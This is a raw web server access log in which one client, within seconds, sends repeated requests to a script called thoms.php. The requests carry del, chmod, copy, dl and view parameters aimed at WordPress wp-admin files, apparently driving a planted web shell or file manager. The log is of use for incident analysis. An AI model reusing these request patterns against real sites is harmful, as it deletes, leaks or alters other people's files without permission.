45.135.193.11 - - [11/Sep/2026:23:21:43 -0400] "GET /thoms.php?del=custom-background.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28857 "http://163.245.207.76:443/thoms.php?del=custom-background.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:43 -0400] "GET /thoms.php?chmod=admin-post.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=admin-post.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:43 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Foptions.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Foptions.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:43 -0400] "GET /thoms.php?del=images&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=images&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:43 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fabout.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fabout.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:43 -0400] "GET /thoms.php?chmod=async-upload.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=async-upload.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:43 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=ms-users.php HTTP/1.1" 200 12027 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=ms-users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:43 -0400] "GET /thoms.php?del=link.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=link.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:43 -0400] "GET /thoms.php?del=ms-upgrade-network.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=ms-upgrade-network.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:43 -0400] "GET /big-wife.com.tw/wp-admin/admin-ajax.php HTTP/1.1" 400 21 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:43 -0400] "GET /thoms.php?dl=update-core.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=update-core.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:44 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fcredits.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fcredits.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:44 -0400] "GET /thoms.php?del=options-head.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=options-head.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:44 -0400] "GET /thoms.php?chmod=media-new.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=media-new.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:44 -0400] "GET /thoms.php?dl=options-writing.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "http://163.245.207.76:443/thoms.php?dl=options-writing.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:44 -0400] "GET /thoms.php?del=ms-sites.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28858 "http://163.245.207.76:443/thoms.php?del=ms-sites.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:44 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=menu-header.php HTTP/1.1" 200 15394 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=menu-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:44 -0400] "GET /big-wife.com.tw/wp-admin/options-general.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:44 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fsite-health.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11429 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fsite-health.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:44 -0400] "GET /thoms.php?dl=ms-admin.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28778 "http://163.245.207.76:443/thoms.php?dl=ms-admin.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:45 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=edit-tags.php HTTP/1.1" 200 19185 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=edit-tags.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:44 -0400] "GET /thoms.php?dl=term.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28858 "http://163.245.207.76:443/thoms.php?dl=term.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:44 -0400] "GET /big-wife.com.tw/wp-admin/edit-tags.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:44 -0400] "GET /big-wife.com.tw/wp-admin/options-privacy.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:45 -0400] "GET /big-wife.com.tw/wp-admin/link-add.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:45 -0400] "GET /thoms.php?chmod=ms-edit.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=ms-edit.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:45 -0400] "GET /big-wife.com.tw/wp-admin/images/ HTTP/1.1" 200 3201 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:45 -0400] "GET /thoms.php?chmod=moderation.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=moderation.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:45 -0400] "GET /thoms.php?del=freedoms.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=freedoms.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:45 -0400] "GET /thoms.php?del=options-privacy.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "http://163.245.207.76:443/thoms.php?del=options-privacy.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:45 -0400] "GET /thoms.php?chmod=options-reading.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=options-reading.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:45 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=options-permalink.php HTTP/1.1" 200 18958 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=options-permalink.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:45 -0400] "GET /big-wife.com.tw/wp-admin/plugin-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:45 -0400] "GET /big-wife.com.tw/wp-admin/edit-tag-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:46 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fterm.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fterm.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:46 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fadmin-header.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fadmin-header.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:46 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=freedoms.php HTTP/1.1" 200 13719 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=freedoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:46 -0400] "GET /big-wife.com.tw/wp-admin/options.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:46 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Flink-add.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Flink-add.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:46 -0400] "GET /thoms.php?chmod=tools.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=tools.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:46 -0400] "GET /thoms.php?del=post.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28850 "http://163.245.207.76:443/thoms.php?del=post.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:46 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fupdate.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fupdate.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:46 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fms-edit.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fms-edit.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:46 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Ftheme-install.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Ftheme-install.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:46 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fadmin-functions.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fadmin-functions.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:46 -0400] "GET /thoms.php?chmod=contribute.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=contribute.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:46 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=credits.php HTTP/1.1" 200 13349 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=credits.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:46 -0400] "GET /thoms.php?dl=ms-sites.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=ms-sites.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:47 -0400] "GET /thoms.php?dl=ms-upgrade-network.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=ms-upgrade-network.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:47 -0400] "GET /thoms.php?dl=options-media.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=options-media.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:47 -0400] "GET /thoms.php?chmod=options.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=options.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:47 -0400] "GET /big-wife.com.tw/wp-admin/async-upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:47 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fmy-sites.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fmy-sites.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:47 -0400] "GET /thoms.php?dl=edit-tags.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28863 "http://163.245.207.76:443/thoms.php?dl=edit-tags.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:47 -0400] "GET /thoms.php?dl=media.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=media.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:47 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=profile.php HTTP/1.1" 200 12058 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:47 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=admin-ajax.php HTTP/1.1" 200 13873 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=admin-ajax.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:47 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fadmin-footer.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fadmin-footer.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:47 -0400] "GET /thoms.php?chmod=edit-tag-form.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=edit-tag-form.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:47 -0400] "GET /big-wife.com.tw/wp-admin/index.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:48 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fedit-tags.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fedit-tags.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:48 -0400] "GET /thoms.php?chmod=options-privacy.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=options-privacy.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:48 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fupgrade.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fupgrade.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:48 -0400] "GET /thoms.php?dl=site-editor.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=site-editor.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:48 -0400] "GET /big-wife.com.tw/wp-admin/freedoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:48 -0400] "GET /thoms.php?chmod=media.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:48 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:48 -0400] "GET /thoms.php?del=post-new.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=post-new.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:48 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=term.php HTTP/1.1" 200 12958 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:48 -0400] "GET /thoms.php?del=ms-edit.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28821 "http://163.245.207.76:443/thoms.php?del=ms-edit.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:48 -0400] "GET /big-wife.com.tw/wp-admin/maint/ HTTP/1.1" 200 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:48 -0400] "GET /thoms.php?dl=widgets-form.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28863 "http://163.245.207.76:443/thoms.php?dl=widgets-form.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
